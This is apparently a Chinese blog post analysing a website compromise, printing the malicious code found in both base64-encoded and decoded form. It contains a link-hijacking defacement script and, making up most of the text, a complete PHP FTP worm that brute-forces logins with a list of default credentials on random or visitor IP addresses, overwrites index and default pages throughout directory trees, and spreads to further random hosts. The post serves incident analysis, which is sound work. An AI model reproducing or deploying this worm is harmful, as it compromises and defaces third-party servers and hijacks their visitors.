处理一次挂马案例-代码整理

<script src='data:text/plain;base64,ZnVuY3Rpb24gY3NzQ0xFQU4oKSB7CmRvY3VtZW50LnJlZmVycmVyID0gJ2h0dHA6Ly93d3cuV0hBSy5jb20nOwpkb2N1bWVudC50aXRsZSA9ICdXSEFLLmNvbSc7CnZhciBmaXhlcz1kb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiYSIpOwpmb3IodmFyIHR0PTAsZml4ZTtmaXhlPWZpeGVzW3R0XTt0dCsrKXtmaXhlLmhyZWY9Imh0dHBzOi8vcGx1cy5nb29nbGUuY29tLytXaGFrLWEtdHJvbGwvIn0KfTt3aW5kb3cub25sb2FkID0gY3NzQ0xFQU47'></script>

Data URI scheme是在RFC2397中定义的,目的是将一些小的数据,直接嵌入到网页中,从而不用再从外部文件载入。

引用格式 data:text/plain;base64,base64编码后的文本数据。

javascript可看出是经过base64编码, 解码后内容如下:

<script>function cssCLEAN() {
document.referrer = 'http://www.WHAK.com';
document.title = 'WHAK.com';
var fixes=document.getElementsByTagName("a");
for(var tt=0,fixe;fixe=fixes[tt];tt++){fixe.href="https://plus.google.com/+Whak-a-troll/"}
};window.onload = cssCLEAN;
</script>

处理一次挂马案例-代码整理_第1张图片

php部分

<?php eval(base64_decode('aW5pX3NldCgnbWVtb3J5X2xpbWl0JywnNjY2TScpOwppbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLCA2NjY2NjYpOwppbmlfc2V0KCdkZWZhdWx0X2NoYXJzZXQnLCd1dGYtOCcpOwppbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIGZhbHNlKTsKaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsIDApOwplcnJvcl9yZXBvcnRpbmcoMCk7Cmlnbm9yZV91c2VyX2Fib3J0KHRydWUpOwpzZXRfdGltZV9saW1pdCgwKTsKCiRmdHBfc2l0ZXggPSAkX0dFVFsiZnRwIl07CgpmdW5jdGlvbiBoaXRmdHAoJGZ0cF9zaXRlKXsKCglpZiAoISRmdHBfc2l0ZSkgewoJJGZ0cF9zaXRlID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107Cgl9CgkKCWlmICghJGZ0cF9zaXRlKSB7CgkkZnRwX3NpdGUgPSByYW5kKDAsMjU1KS4nLicucmFuZCgwLDI1NSkuJy4nLnJhbmQoMCwyNTUpLicuJy5yYW5kKDAsMjU1KTsKCX0KaWYgKCRmdHBfc2l0ZSkgewoKJGZ0cF91c2VyID0gJF9HRVRbInVzZXIiXTsKJGZ0cF9wYXNzID0gJF9HRVRbInBhc3MiXTsKJGZ0cF9wb3J0ID0gJF9HRVRbInBvcnQiXTsKCiRmdHBfc2l0ZSA9IHN0cl9yZXBsYWNlKCdodHRwOi8vJywgJycsICRmdHBfc2l0ZSk7CiRmdHBfc2l0ZSA9IHN0cl9yZXBsYWNlKCdodHRwczovLycsICcnLCAkZnRwX3NpdGUpOwokZnRwX3NpdGUgPSBzdHJfcmVwbGFjZSgnZnRwOi8vJywgJycsICRmdHBfc2l0ZSk7CiRmdHBfc2l0ZSA9IHN0cl9yZXBsYWNlKCdmdHA6Ly8nLCAnJywgJGZ0cF9zaXRlKTsKCiRhID0gZXhwbG9kZSgiLyIsICRmdHBfc2l0ZSk7CmlmIChjb3VudCgkYSkgPiAxKSAKewokZnRwX3NpdGUgPSAkYVswXTsKfQoKaWYgKCEkZnRwX3Bhc3MpIHsKJGZ0cF9wYXNzID0gImFub255bW91cyI7Cn0KCmlmICghJGZ0cF91c2VyKSB7CiRmdHBfdXNlciA9ICJhbm9ueW1vdXMiOwp9CgppZiAoISRmdHBfcG9ydCkgewokZnRwX3BvcnQgPSAiMjEiOwp9CgokZnRwID0gZnRwX2Nvbm5lY3QoJGZ0cF9zaXRlLCAkZnRwX3BvcnQpOwppZiAoISRmdHApIHsKZnRwX2Nsb3NlKCRmdHApOwpoaXRmdHAocmFuZCgwLDI1NSkuJy4nLnJhbmQoMCwyNTUpLicuJy5yYW5kKDAsMjU1KS4nLicucmFuZCgwLDI1NSkpOwp9CgokciA9IGZ0cF9sb2dpbigkZnRwLCAkZnRwX3VzZXIsICRmdHBfcGFzcyk7CmlmICghJHIpIHtkaWUoKTskciA9IGZ0cF9sb2dpbigkZnRwLCAiYW5vbiIsICJhbm9uIik7fQppZiAoISRyKSB7ZGllKCk7JHIgPSBmdHBfbG9naW4oJGZ0cCwgInJvb3QiLCAicm9vdCIpO30KaWYgKCEkcikge2RpZSgpOyRyID0gZnRwX2xvZ2luKCRmdHAsICJhZG1pbiIsICJwYXNzIik7fQppZiAoISRyKSB7ZGllKCk7JHIgPSBmdHBfbG9naW4oJGZ0cCwgImFkbWluIiwgInBhc3N3b3JkIik7fQppZiAoISRyKSB7ZGllKCk7JHIgPSBmdHBfbG9naW4oJGZ0cCwgImVtYWlsQGRmZy5uZXQiLCAiYW5vbnltb3VzIik7fQppZiAoISRyKSB7ZGllKCk7JHIgPSBmdHBfbG9naW4oJGZ0cCwgIm9yYWNsZSIsICJvcmFjbGUiKTt9CmlmICghJHIpIHtkaWUoKTskciA9IGZ0cF9sb2dpbigkZnRwLCAicm9vdCIsICJhYmMxMjMiKTt9CmlmICghJHIpIHtkaWUoKTskciA9IGZ0cF9sb2dpbigkZnRwLCAicm9vdCIsICIxMjM0NTYiKTt9CmlmICghJHIpIHtkaWUoKTskciA9IGZ0cF9sb2dpbigkZnRwLCAiYWRtaW4iLCAiMTIzNDU2Iik7fQppZiAoISRyKSB7ZGllKCk7JHIgPSBmdHBfbG9naW4oJGZ0cCwgInJvb3QiLCAiYWRtaW4iKTt9CmlmICghJHIpIHtkaWUoKTskciA9IGZ0cF9sb2dpbigkZnRwLCAicm9vdCIsICIxMjNxd2UiKTt9CmlmICghJHIpIHtkaWUoKTskciA9IGZ0cF9sb2dpbigkZnRwLCAiam9obiIsICJwYXNzd29yZCIpO30KaWYgKCEkcikge2RpZSgpOyRyID0gZnRwX2xvZ2luKCRmdHAsICJhZG1pbiIsICJhZG1pbiIpO30KaWYgKCEkcikge2RpZSgpOyRyID0gZnRwX2xvZ2luKCRmdHAsICJtYXJrZXRpbmciLCAibWFya2V0aW5nIik7fQppZiAoISRyKSB7ZGllKCk7JHIgPSBmdHBfbG9naW4oJGZ0cCwgImZ0cCIsICJmdHAxMjMiKTt9CmlmICghJHIpIHtkaWUoKTskciA9IGZ0cF9sb2dpbigkZnRwLCAiZnRwdXNlciIsICJmdHBwYXNzIik7fQppZiAoISRyKSB7ZGllKCk7JHIgPSBmdHBfbG9naW4oJGZ0cCwgImFkbWluIiwgInBhc3N3b3JkIik7fQppZiAoISRyKSB7ZGllKCk7JHIgPSBmdHBfbG9naW4oJGZ0cCwgImpvaG4iLCAiam9obiIpO30KaWYgKCEkcikge2RpZSgpOyRyID0gZnRwX2xvZ2luKCRmdHAsICJkYXZlIiwgImRhdmUiKTt9CmlmICghJHIpIHtkaWUoKTskciA9IGZ0cF9sb2dpbigkZnRwLCAidXNlciIsICJwYXNzIik7fQppZiAoISRyKSB7ZGllKCk7JHIgPSBmdHBfbG9naW4oJGZ0cCwgInVzZXIiLCAicGFzc3dvcmQiKTt9CmlmICghJHIpIHtkaWUoKTskciA9IGZ0cF9sb2dpbigkZnRwLCAidXNlcm5hbWUiLCAicGFzc3dvcmQiKTt9CmlmICghJHIpIHtkaWUoKTskciA9IGZ0cF9sb2dpbigkZnRwLCAibmFtZSIsICJwYXNzd29yZCIpO30KaWYgKCEkcikge2RpZSgpOyRyID0gZnRwX2xvZ2luKCRmdHAsICJxd2VydHkiLCAicXdlcnR5Iik7fQppZiAoISRyKSB7ZGllKCk7JHIgPSBmdHBfbG9naW4oJGZ0cCwgImdvZCIsICJnb2QiKTt9CmlmICghJHIpIHtkaWUoKTskciA9IGZ0cF9sb2dpbigkZnRwLCAidXNlciIsICIxMjM0Iik7fQppZiAoISRyKSB7ZGllKCk7JHIgPSBmdHBfbG9naW4oJGZ0cCwgImFkbWluc3RyYXRvciIsICIxMjM0Iik7fQppZiAoISRyKSB7ZGllKCk7JHIgPSBmdHBfbG9naW4oJGZ0cCwgImFkbWluIiwgIjEyMzQiKTt9CmlmICghJHIpIHtkaWUoKTskciA9IGZ0cF9sb2dpbigkZnRwLCAiMTIzNCIsICIxMjM0Iik7fQppZiAoISRyKSB7ZGllKCk7JHIgPSBmdHBfbG9naW4oJGZ0cCwgImZ0cHVzZXIiLCAiMTIzNCIpO30KaWYgKCEkcikge2RpZSgpOyRyID0gZnRwX2xvZ2luKCRmdHAsICJubXQiLCAiMTIzNCIpO30KaWYgKCEkcikge2RpZSgpOyRyID0gZnRwX2xvZ2luKCRmdHAsICJuZXd1c2VyIiwgIndhbXBwIik7fQppZiAoISRyKSB7ZGllKCk7JHIgPSBmdHBfbG9naW4oJGZ0cCwgInVzZXIiLCAicGFzc3dvcmQiKTt9CmlmICghJHIpIHtkaWUoKTskciA9IGZ0cF9sb2dpbigkZnRwLCAieGJtYyIsICJhbm9uIik7fQppZiAoISRyKSB7ZGllKCk7JHIgPSBmdHBfbG9naW4oJGZ0cCwgInBpICIsICJyYXNwYmVycnkiKTt9CmlmICghJHIpIHtkaWUoKTskciA9IGZ0cF9sb2dpbigkZnRwLCAidXNlcmZ0cCIsICJ1c2VyZnRwIik7fQppZiAoISRyKSB7ZGllKCk7JHIgPSBmdHBfbG9naW4oJGZ0cCwgImFub24iLCAiYW5vbiIpO30KaWYgKCEkcikge2RpZSgpOyRyID0gZnRwX2xvZ2luKCRmdHAsICJhbm9uIiwgImFub255bW91cyIpO30KaWYgKCEkcikge2RpZSgpOyRyID0gZnRwX2xvZ2luKCRmdHAsICJhbm9ueW1vdXMiLCAiYW5vbiIpO30KaWYgKCEkcikge2RpZSgpOyRyID0gZnRwX2xvZ2luKCRmdHAsICJhbm9ueW1vdXMiLCAiYW5vbnltb3VzIik7fQppZiAoISRyKSB7ZGllKCk7JHIgPSBmdHBfbG9naW4oJGZ0cCwgImFub24iLCAiTmNGVFBAIik7fQppZiAoISRyKSB7ZGllKCk7JHIgPSBmdHBfbG9naW4oJGZ0cCwgInhib3giLCAieGJveCIpO30KaWYgKCEkcikge2RpZSgpOyRyID0gZnRwX2xvZ2luKCRmdHAsICJ1c2VyIiwgIjEyMzQiKTt9CmlmICghJHIpIGRpZSgnPHA+Y291bGQgbm90IGxvZ2luLjxwPicpOwoKJHIgPSBmdHBfcGFzdigkZnRwLCB0cnVlKTsKaWYgKCEkcikgZnRwX2FsbG9jKCRmdHAsIHRydWUpOwppZiAoISRyKSB7CmZ0cF9jbG9zZSgkZnRwKTsKaGl0ZnRwKHJhbmQoMCwyNTUpLicuJy5yYW5kKDAsMjU1KS4nLicucmFuZCgwLDI1NSkuJy4nLnJhbmQoMCwyNTUpKTsKfQoKJGZ0cF9maWxlID0gJ3NlYXJjaC5odG0nOyAvLyBmdHBfZmlsZV9oZXJlCiRmdHBfcmVtb3RlX2ZpbGUgPSAnaW5kZXguaHRtJzsgLy8gZnRwX2ZpbGVfdGhlcmUKJGZ0cF9maWxlMiA9ICdpbmRleC5waHAnOyAvLyBmdHBfZmlsZV9oZXJlCiRmdHBfcmVtb3RlX2ZpbGUyID0gJ2luZGV4LnBocCc7IC8vIGZ0cF9maWxlX3RoZXJlCiRmdHBfZmlsZTIgPSAnaG9seS1iaWJsZS5waHAnOyAvLyBmdHBfZmlsZV9oZXJlCiRmdHBfcmVtb3RlX2ZpbGUyID0gJ2luZGV4LnBocCc7IC8vIGZ0cF9maWxlX3RoZXJlCiRmdHBfZmlsZTMgPSAnaG9seS1iaWJsZS5odG0nOyAvLyBmdHBfZmlsZV9oZXJlCiRmdHBfcmVtb3RlX2ZpbGUzID0gJ2RlZmF1bHQuYXNwJzsgLy8gZnRwX2ZpbGVfdGhlcmUKCmlmIChmdHBfcHV0KCRmdHAsICIvIi4kZnRwX3JlbW90ZV9maWxlLCAiLyIuJGZ0cF9maWxlLCBGVFBfQVNDSUkpKSB7CgoJaWYgKGZ0cF9wdXQoJGZ0cCwgIi8iLiRmdHBfcmVtb3RlX2ZpbGUyLCAiLyIuJGZ0cF9maWxlMiwgRlRQX0FTQ0lJKSkgewoKCWZ0cF9wdXQoJGZ0cCwgIi8iLiRmdHBfcmVtb3RlX2ZpbGUzLCAiLyIuJGZ0cF9maWxlMywgRlRQX0FTQ0lJKTsKCX0KfQppZiAoZnRwX3B1dCgkZnRwLCAkZnRwX3JlbW90ZV9maWxlLCAiLyIuJGZ0cF9maWxlLCBGVFBfQVNDSUkpKSB7CgoJaWYgKGZ0cF9wdXQoJGZ0cCwgJGZ0cF9yZW1vdGVfZmlsZTIsICIvIi4kZnRwX2ZpbGUyLCBGVFBfQVNDSUkpKSB7CgoJZnRwX3B1dCgkZnRwLCAkZnRwX3JlbW90ZV9maWxlMywgIi8iLiRmdHBfZmlsZTMsIEZUUF9BU0NJSSk7Cgl9Cn0KaWYgKGZ0cF9wdXQoJGZ0cCwgJGZ0cF9yZW1vdGVfZmlsZSwgJGZ0cF9maWxlLCBGVFBfQVNDSUkpKSB7CgoJaWYgKGZ0cF9wdXQoJGZ0cCwgJGZ0cF9yZW1vdGVfZmlsZTIsICRmdHBfZmlsZTIsIEZUUF9BU0NJSSkpIHsKCglmdHBfcHV0KCRmdHAsICRmdHBfcmVtb3RlX2ZpbGUzLCAkZnRwX2ZpbGUzLCBGVFBfQVNDSUkpOwoJfQp9CmlmIChmdHBfcHV0KCRmdHAsICIvIi4kZnRwX3JlbW90ZV9maWxlLCAkZnRwX2ZpbGUsIEZUUF9BU0NJSSkpIHsKCglpZiAoZnRwX3B1dCgkZnRwLCAiLyIuJGZ0cF9yZW1vdGVfZmlsZTIsICRmdHBfZmlsZTIsIEZUUF9BU0NJSSkpIHsKCglmdHBfcHV0KCRmdHAsICIvIi4kZnRwX3JlbW90ZV9maWxlMywgJGZ0cF9maWxlMywgRlRQX0FTQ0lJKTsKCX0KfQogICRmdHBfbmxpc3QgPSBmdHBfbmxpc3QoJGZ0cCwgIi8iKTsKICBmb3JlYWNoICgkZnRwX25saXN0IGFzICR2KSB7CgogIGlmICghc3RycG9zKCR2LCcuJykpIHsKCiAgaWYgKGZ0cF9wdXQoJGZ0cCwgJHYuIi8iLiRmdHBfcmVtb3RlX2ZpbGUsICRmdHBfZmlsZSwgRlRQX0FTQ0lJKSkgewoKCQlpZiAoZnRwX3B1dCgkZnRwLCAkdi4iLyIuJGZ0cF9yZW1vdGVfZmlsZTIsICRmdHBfZmlsZTIsIEZUUF9BU0NJSSkpIHsKCgkJZnRwX3B1dCgkZnRwLCAkdi4iLyIuJGZ0cF9yZW1vdGVfZmlsZTMsICRmdHBfZmlsZTMsIEZUUF9BU0NJSSk7CgkJfQogIH0KCiAgICAgJGZ0cF9ubGlzdDIgPSBmdHBfbmxpc3QoJGZ0cCwgJHYpOwogICAgIGZvcmVhY2ggKCRmdHBfbmxpc3QyIGFzICR2MikgewogICAgIGlmICghc3RycG9zKCR2MiwnLicpKSB7CgogICAgIGlmIChmdHBfcHV0KCRmdHAsICR2Mi4iLyIuJGZ0cF9yZW1vdGVfZmlsZSwgJGZ0cF9maWxlLCBGVFBfQVNDSUkpKSB7CgppZiAoZnRwX3B1dCgkZnRwLCAkdjIuIi8iLiRmdHBfcmVtb3RlX2ZpbGUyLCAkZnRwX2ZpbGUyLCBGVFBfQVNDSUkpKSB7CgpmdHBfcHV0KCRmdHAsICR2Mi4iLyIuJGZ0cF9yZW1vdGVfZmlsZTMsICRmdHBfZmlsZTMsIEZUUF9BU0NJSSk7Cn0KICAgICB9CgogICAgICAgICRmdHBfbmxpc3QzID0gZnRwX25saXN0KCRmdHAsICR2Mik7CiAgICAgICAgZm9yZWFjaCAoJGZ0cF9ubGlzdDMgYXMgJHYzKSB7CiAgICAgICAgaWYgKCFzdHJwb3MoJHYzLCcuJykpIHsKCiAgICAgICAgaWYgKGZ0cF9wdXQoJGZ0cCwgJHYzLiIvIi4kZnRwX3JlbW90ZV9maWxlLCAkZnRwX2ZpbGUsIEZUUF9BU0NJSSkpIHsKCgkJCWlmIChmdHBfcHV0KCRmdHAsICR2My4iLyIuJGZ0cF9yZW1vdGVfZmlsZTIsICRmdHBfZmlsZTIsIEZUUF9BU0NJSSkpIHsKCgkJCWZ0cF9wdXQoJGZ0cCwgJHYzLiIvIi4kZnRwX3JlbW90ZV9maWxlMywgJGZ0cF9maWxlMywgRlRQX0FTQ0lJKTsKCQkJfQogICAgICAgIH0KCQkJJGZ0cF9ubGlzdDQgPSBmdHBfbmxpc3QoJGZ0cCwgJHYzKTsKCQkJZm9yZWFjaCAoJGZ0cF9ubGlzdDQgYXMgJHY0KSB7CgkJCWlmICghc3RycG9zKCR2NCwnLicpKSB7CgoJCQlpZiAoZnRwX3B1dCgkZnRwLCAkdjQuIi8iLiRmdHBfcmVtb3RlX2ZpbGUsICRmdHBfZmlsZSwgRlRQX0FTQ0lJKSkgewoKCQkJCWlmIChmdHBfcHV0KCRmdHAsICR2NC4iLyIuJGZ0cF9yZW1vdGVfZmlsZTIsICRmdHBfZmlsZTIsIEZUUF9BU0NJSSkpIHsKCgkJCQlmdHBfcHV0KCRmdHAsICR2NC4iLyIuJGZ0cF9yZW1vdGVfZmlsZTMsICRmdHBfZmlsZTMsIEZUUF9BU0NJSSk7CgkJCQl9CgkJCX0KCQkJCSRmdHBfbmxpc3Q1ID0gZnRwX25saXN0KCRmdHAsICR2NCk7CgkJCQlmb3JlYWNoICgkZnRwX25saXN0NSBhcyAkdjUpIHsKCQkJCWlmICghc3RycG9zKCR2NSwnLicpKSB7CgoJCQkJaWYgKGZ0cF9wdXQoJGZ0cCwgJHY1LiIvIi4kZnRwX3JlbW90ZV9maWxlLCAkZnRwX2ZpbGUsIEZUUF9BU0NJSSkpIHsKCgkJCQkJaWYgKGZ0cF9wdXQoJGZ0cCwgJHY1LiIvIi4kZnRwX3JlbW90ZV9maWxlMiwgJGZ0cF9maWxlMiwgRlRQX0FTQ0lJKSkgewoKCQkJCQlmdHBfcHV0KCRmdHAsICR2NS4iLyIuJGZ0cF9yZW1vdGVfZmlsZTMsICRmdHBfZmlsZTMsIEZUUF9BU0NJSSk7CgkJCQkJfQoJCQkJfQoJCQkJCgkJCQkJJGZ0cF9ubGlzdDYgPSBmdHBfbmxpc3QoJGZ0cCwgJHY1KTsKCQkJCQlmb3JlYWNoICgkZnRwX25saXN0NiBhcyAkdjYpIHsKCQkJCQlpZiAoIXN0cnBvcygkdjYsJy4nKSkgewoKCQkJCQlpZiAoZnRwX3B1dCgkZnRwLCAkdjYuIi8iLiRmdHBfcmVtb3RlX2ZpbGUsICRmdHBfZmlsZSwgRlRQX0FTQ0lJKSkgewoKCQkJCQkJaWYgKGZ0cF9wdXQoJGZ0cCwgJHY2LiIvIi4kZnRwX3JlbW90ZV9maWxlMiwgJGZ0cF9maWxlMiwgRlRQX0FTQ0lJKSkgewoKCQkJCQkJZnRwX3B1dCgkZnRwLCAkdjYuIi8iLiRmdHBfcmVtb3RlX2ZpbGUzLCAkZnRwX2ZpbGUzLCBGVFBfQVNDSUkpOwoJCQkJCQl9CgkJCQkJfQoKCQkJCQl9CgkJCQkJfQoKCgkJCQl9CgkJCQl9CgoJCQl9CgkJCX0KCiAgICAgICAgfQogICAgICAgIH0KICAgICB9CiAgICAgfQogIH0KICB9CgpmdHBfY2xvc2UoJGZ0cCk7CmhpdGZ0cChyYW5kKDAsMjU1KS4nLicucmFuZCgwLDI1NSkuJy4nLnJhbmQoMCwyNTUpLicuJy5yYW5kKDAsMjU1KSk7Cgp9Cgp9CmhpdGZ0cCgkZnRwX3NpdGV4KTs=')); ?>

同样采用base64解码后如下:

<?php
ini_set('memory_limit','666M');
ini_set('max_execution_time', 666666);
ini_set('default_charset','utf-8');
ini_set('display_errors', false);
ini_set('output_buffering', 0);
error_reporting(0);
ignore_user_abort(true);
set_time_limit(0);

$ftp_sitex = $_GET["ftp"];

function hitftp($ftp_site){

    if (!$ftp_site) {
    $ftp_site = $_SERVER['REMOTE_ADDR'];
    }
    
    if (!$ftp_site) {
    $ftp_site = rand(0,255).'.'.rand(0,255).'.'.rand(0,255).'.'.rand(0,255);
    }
if ($ftp_site) {

$ftp_user = $_GET["user"];
$ftp_pass = $_GET["pass"];
$ftp_port = $_GET["port"];

$ftp_site = str_replace('http://', '', $ftp_site);
$ftp_site = str_replace('https://', '', $ftp_site);
$ftp_site = str_replace('ftp://', '', $ftp_site);
$ftp_site = str_replace('ftp://', '', $ftp_site);

$a = explode("/", $ftp_site);
if (count($a) > 1) 
{
$ftp_site = $a[0];
}

if (!$ftp_pass) {
$ftp_pass = "anonymous";
}

if (!$ftp_user) {
$ftp_user = "anonymous";
}

if (!$ftp_port) {
$ftp_port = "21";
}

$ftp = ftp_connect($ftp_site, $ftp_port);
if (!$ftp) {
ftp_close($ftp);
hitftp(rand(0,255).'.'.rand(0,255).'.'.rand(0,255).'.'.rand(0,255));
}

$r = ftp_login($ftp, $ftp_user, $ftp_pass);
if (!$r) {die();$r = ftp_login($ftp, "anon", "anon");}
if (!$r) {die();$r = ftp_login($ftp, "root", "root");}
if (!$r) {die();$r = ftp_login($ftp, "admin", "pass");}
if (!$r) {die();$r = ftp_login($ftp, "admin", "password");}
if (!$r) {die();$r = ftp_login($ftp, "[email protected]", "anonymous");}
if (!$r) {die();$r = ftp_login($ftp, "oracle", "oracle");}
if (!$r) {die();$r = ftp_login($ftp, "root", "abc123");}
if (!$r) {die();$r = ftp_login($ftp, "root", "123456");}
if (!$r) {die();$r = ftp_login($ftp, "admin", "123456");}
if (!$r) {die();$r = ftp_login($ftp, "root", "admin");}
if (!$r) {die();$r = ftp_login($ftp, "root", "123qwe");}
if (!$r) {die();$r = ftp_login($ftp, "john", "password");}
if (!$r) {die();$r = ftp_login($ftp, "admin", "admin");}
if (!$r) {die();$r = ftp_login($ftp, "marketing", "marketing");}
if (!$r) {die();$r = ftp_login($ftp, "ftp", "ftp123");}
if (!$r) {die();$r = ftp_login($ftp, "ftpuser", "ftppass");}
if (!$r) {die();$r = ftp_login($ftp, "admin", "password");}
if (!$r) {die();$r = ftp_login($ftp, "john", "john");}
if (!$r) {die();$r = ftp_login($ftp, "dave", "dave");}
if (!$r) {die();$r = ftp_login($ftp, "user", "pass");}
if (!$r) {die();$r = ftp_login($ftp, "user", "password");}
if (!$r) {die();$r = ftp_login($ftp, "username", "password");}
if (!$r) {die();$r = ftp_login($ftp, "name", "password");}
if (!$r) {die();$r = ftp_login($ftp, "qwerty", "qwerty");}
if (!$r) {die();$r = ftp_login($ftp, "god", "god");}
if (!$r) {die();$r = ftp_login($ftp, "user", "1234");}
if (!$r) {die();$r = ftp_login($ftp, "adminstrator", "1234");}
if (!$r) {die();$r = ftp_login($ftp, "admin", "1234");}
if (!$r) {die();$r = ftp_login($ftp, "1234", "1234");}
if (!$r) {die();$r = ftp_login($ftp, "ftpuser", "1234");}
if (!$r) {die();$r = ftp_login($ftp, "nmt", "1234");}
if (!$r) {die();$r = ftp_login($ftp, "newuser", "wampp");}
if (!$r) {die();$r = ftp_login($ftp, "user", "password");}
if (!$r) {die();$r = ftp_login($ftp, "xbmc", "anon");}
if (!$r) {die();$r = ftp_login($ftp, "pi ", "raspberry");}
if (!$r) {die();$r = ftp_login($ftp, "userftp", "userftp");}
if (!$r) {die();$r = ftp_login($ftp, "anon", "anon");}
if (!$r) {die();$r = ftp_login($ftp, "anon", "anonymous");}
if (!$r) {die();$r = ftp_login($ftp, "anonymous", "anon");}
if (!$r) {die();$r = ftp_login($ftp, "anonymous", "anonymous");}
if (!$r) {die();$r = ftp_login($ftp, "anon", "NcFTP@");}
if (!$r) {die();$r = ftp_login($ftp, "xbox", "xbox");}
if (!$r) {die();$r = ftp_login($ftp, "user", "1234");}
if (!$r) die('<p>could not login.<p>');

$r = ftp_pasv($ftp, true);
if (!$r) ftp_alloc($ftp, true);
if (!$r) {
ftp_close($ftp);
hitftp(rand(0,255).'.'.rand(0,255).'.'.rand(0,255).'.'.rand(0,255));
}

$ftp_file = 'search.htm'; // ftp_file_here
$ftp_remote_file = 'index.htm'; // ftp_file_there
$ftp_file2 = 'index.php'; // ftp_file_here
$ftp_remote_file2 = 'index.php'; // ftp_file_there
$ftp_file2 = 'holy-bible.php'; // ftp_file_here
$ftp_remote_file2 = 'index.php'; // ftp_file_there
$ftp_file3 = 'holy-bible.htm'; // ftp_file_here
$ftp_remote_file3 = 'default.asp'; // ftp_file_there

if (ftp_put($ftp, "/".$ftp_remote_file, "/".$ftp_file, FTP_ASCII)) {

    if (ftp_put($ftp, "/".$ftp_remote_file2, "/".$ftp_file2, FTP_ASCII)) {

    ftp_put($ftp, "/".$ftp_remote_file3, "/".$ftp_file3, FTP_ASCII);
    }
}
if (ftp_put($ftp, $ftp_remote_file, "/".$ftp_file, FTP_ASCII)) {

    if (ftp_put($ftp, $ftp_remote_file2, "/".$ftp_file2, FTP_ASCII)) {

    ftp_put($ftp, $ftp_remote_file3, "/".$ftp_file3, FTP_ASCII);
    }
}
if (ftp_put($ftp, $ftp_remote_file, $ftp_file, FTP_ASCII)) {

    if (ftp_put($ftp, $ftp_remote_file2, $ftp_file2, FTP_ASCII)) {

    ftp_put($ftp, $ftp_remote_file3, $ftp_file3, FTP_ASCII);
    }
}
if (ftp_put($ftp, "/".$ftp_remote_file, $ftp_file, FTP_ASCII)) {

    if (ftp_put($ftp, "/".$ftp_remote_file2, $ftp_file2, FTP_ASCII)) {

    ftp_put($ftp, "/".$ftp_remote_file3, $ftp_file3, FTP_ASCII);
    }
}
  $ftp_nlist = ftp_nlist($ftp, "/");
  foreach ($ftp_nlist as $v) {

  if (!strpos($v,'.')) {

  if (ftp_put($ftp, $v."/".$ftp_remote_file, $ftp_file, FTP_ASCII)) {

        if (ftp_put($ftp, $v."/".$ftp_remote_file2, $ftp_file2, FTP_ASCII)) {

        ftp_put($ftp, $v."/".$ftp_remote_file3, $ftp_file3, FTP_ASCII);
        }
  }

     $ftp_nlist2 = ftp_nlist($ftp, $v);
     foreach ($ftp_nlist2 as $v2) {
     if (!strpos($v2,'.')) {

     if (ftp_put($ftp, $v2."/".$ftp_remote_file, $ftp_file, FTP_ASCII)) {

if (ftp_put($ftp, $v2."/".$ftp_remote_file2, $ftp_file2, FTP_ASCII)) {

ftp_put($ftp, $v2."/".$ftp_remote_file3, $ftp_file3, FTP_ASCII);
}
     }

        $ftp_nlist3 = ftp_nlist($ftp, $v2);
        foreach ($ftp_nlist3 as $v3) {
        if (!strpos($v3,'.')) {

        if (ftp_put($ftp, $v3."/".$ftp_remote_file, $ftp_file, FTP_ASCII)) {

            if (ftp_put($ftp, $v3."/".$ftp_remote_file2, $ftp_file2, FTP_ASCII)) {

            ftp_put($ftp, $v3."/".$ftp_remote_file3, $ftp_file3, FTP_ASCII);
            }
        }
            $ftp_nlist4 = ftp_nlist($ftp, $v3);
            foreach ($ftp_nlist4 as $v4) {
            if (!strpos($v4,'.')) {

            if (ftp_put($ftp, $v4."/".$ftp_remote_file, $ftp_file, FTP_ASCII)) {

                if (ftp_put($ftp, $v4."/".$ftp_remote_file2, $ftp_file2, FTP_ASCII)) {

                ftp_put($ftp, $v4."/".$ftp_remote_file3, $ftp_file3, FTP_ASCII);
                }
            }
                $ftp_nlist5 = ftp_nlist($ftp, $v4);
                foreach ($ftp_nlist5 as $v5) {
                if (!strpos($v5,'.')) {

                if (ftp_put($ftp, $v5."/".$ftp_remote_file, $ftp_file, FTP_ASCII)) {

                    if (ftp_put($ftp, $v5."/".$ftp_remote_file2, $ftp_file2, FTP_ASCII)) {

                    ftp_put($ftp, $v5."/".$ftp_remote_file3, $ftp_file3, FTP_ASCII);
                    }
                }
                
                    $ftp_nlist6 = ftp_nlist($ftp, $v5);
                    foreach ($ftp_nlist6 as $v6) {
                    if (!strpos($v6,'.')) {

                    if (ftp_put($ftp, $v6."/".$ftp_remote_file, $ftp_file, FTP_ASCII)) {

                        if (ftp_put($ftp, $v6."/".$ftp_remote_file2, $ftp_file2, FTP_ASCII)) {

                        ftp_put($ftp, $v6."/".$ftp_remote_file3, $ftp_file3, FTP_ASCII);
                        }
                    }

                    }
                    }


                }
                }

            }
            }

        }
        }
     }
     }
  }
  }

ftp_close($ftp);
hitftp(rand(0,255).'.'.rand(0,255).'.'.rand(0,255).'.'.rand(0,255));

}

}
hitftp($ftp_sitex);
?>


你可能感兴趣的:(处理一次挂马案例-代码整理)